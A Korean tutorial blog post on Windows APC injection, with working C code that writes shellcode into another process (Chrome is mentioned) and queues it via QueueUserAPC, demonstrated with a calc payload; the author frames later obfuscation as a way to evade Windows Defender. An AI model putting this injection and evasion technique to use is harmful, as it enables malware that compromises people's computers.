APC(Asynchronous Procedure Call) 이란, Windows Thread 가 대기 상태에서 사용자 정의 함수를 실행할 수 있는 메커니즘 입니다.
이 기능을 이용해 타겟 스레드 컨텍스트에서 쉘코드를 실행시키는 기법이 APC Injection 입니다.
APC(Asynchronous Procedure Call)
모든 Thread가 APC function을 실행할 수 있는 것은 아닙니다.
Alertable state에 있는 Thread만 APC function을 실행할 수 있습니다.
Alertable state thread 는 대기 상태의 Thread를 의미합니다.
Thread가 alertable state에 들어가면 Alertable thread queue에 들어가고, queue된 APC function을 실행할 수 있게 됩니다.
Alertable State Thread
Thread를 Alertable state에 만드는 함수들 중 일부는 다음과 같습니다.
- SleepEx
- MsgWaitForMultipleObjectsEx
- WaitForSingleObjectEx
- WaitforMultipleObjectsEx
- SignalObjectAndWait
이러한 함수들을 사용하여 Thread를 Alertable state로 만들 수 있습니다.
이를 이용해 Alertable state인 Local Thread를 만들어 APC Injection을 수행할 수 있지만, 이번에는 Remote Injection을 수행하여
다른 프로세스에 APC Injection 을 수행해보겠습니다.
Process, Thread Enum
전에 포스팅했던 Process Thread Enumeration 함수로 타겟 프로세스, 스레드의 Handle 을 획득합니다.
if (!GetRemoteProcessHandle(argv[1], &dwProcessId, &hProcess)) {
printf("[i] GetRemoteProcessHandle Failed.\n");
return -1;
}
printf("[i] GetRemoteProcessHandle Succeed. \n");
printf("\t[i] ProcessID: %d\n", dwProcessId);
if (!GetRemoteThreadHandle(dwProcessId, &dwThreadId, &hThread)) {
printf("[i] GetRemoteTheradHandle Failed.\n");
return -1;
}
printf("[i] GetRemoteThreadHandle Succeed.\n");
Inject shellcode
BOOL InjectShellcodeToRemoteProcess(IN HANDLE hProcess, IN PBYTE pShellcode,
IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
SIZE_T sNumberOfBytesWritten = NULL;
DWORD dwOldProtection = NULL;
printf("\t[i] VirtualAllocating ...\n");
*ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (*ppAddress == NULL) {
printf("\t[!] VirtualAllocEx Failed with Error : %d \n", GetLastError());
return FALSE;
}
printf("\t[i] Allocated Memory At : 0x%p\n", *ppAddress);
printf("\t[#] Press <Enter> To Write Payload ... ");
getchar();
if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode,
sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
printf("\t[!] WriteProcessMemory Failed with Error : %d \n", GetLastError());
return FALSE;
}
printf("\t[i] Successfully Written %d Bytes \n", sNumberOfBytesWritten);
if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE,
&dwOldProtection)) {
printf("\t[!] VirtualProtectEx Failed with Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
이 코드는 타겟 프로세스에 shellcode를 주입합니다.
*ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
VirtualAllocEx() 로 Shellcode 크기만큼의 메모리를 타켓 프로세스에 할당합니다.
if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode,
sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
WriteProcessMemory()로 할당한 메모리 영역에 Shellcode를 씁니다.
if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE,
&dwOldProtection)) {
VirtualProtectEx()로 할당한 영역의 권한을 바꿔줍니다.
QueueUserAPC()
QueueUserAPC((PTHREAD_START_ROUTINE)pAddress, hThread, NULL);
이렇게 타켓 프로세스에 어딘가에 Shellcode를 주입한 뒤, APC Queue에 Shellcode를 넣어주면 APC Injection 수행이 완료됩니다.
이제 타겟 프로세스가 Alertable wait 상태에 들어가면 APC Queue에 있는 명령이 수행되면서 Shellcode가 실행되게 됩니다.
실습

먼저, 타겟 프로세스를 실행시켜줍니다.

프로세스의 이름을 lower case로 입력하여 프로그램을 실행시켜줍니다.

프로세스를 찾았습니다. PID는 1568.
이제 Thread 의 Handle 을 얻을 차례입니다.

Handle을 획득했습니다.

메모리가 할당되었습니다.


해당 주소를 확인해보면 쉘코드가 할당되어 있는 것을 확인할 수 있습니다(주소 끝에 calc).

실행을 해보면 계산기가 실행되는 것을 볼 수 있습니다.
마치며
크롬이 Alertable wait 상태에 들어가야 하므로 바로 Shellcode 실행이 안될 수 있습니다.
포스팅에서 빠진 것이 한 가지 있습니다. 쉘코드 삽입인데요, Deobfuscating Shellcode ... 가 처음 부분에 있는데요.
그냥 Shellcode를 코드 안에 넣어놓으면 Windows Defender 가 트로이 목마로 감지하여 프로그램을 삭제해 버립니다.
그래서 Shellcode Obfuscation을 해야 하는데, 다음 포스팅에서는 간단한 UUID Obfuscating 기법을 다뤄보겠습니다.
틀린 부분 있으면 언제든 댓글 남겨주세요!
'IT' 카테고리의 다른 글
| Syscall - 커널의 소통 창구 (0) | 2026.06.03 |
|---|---|
| IAT Hiding (0) | 2026.05.30 |
| Process, Thread Enumeration (0) | 2026.05.25 |
| API Hooking with Custom structure (0) | 2026.05.24 |
| API Hooking feat.DF (0) | 2026.05.21 |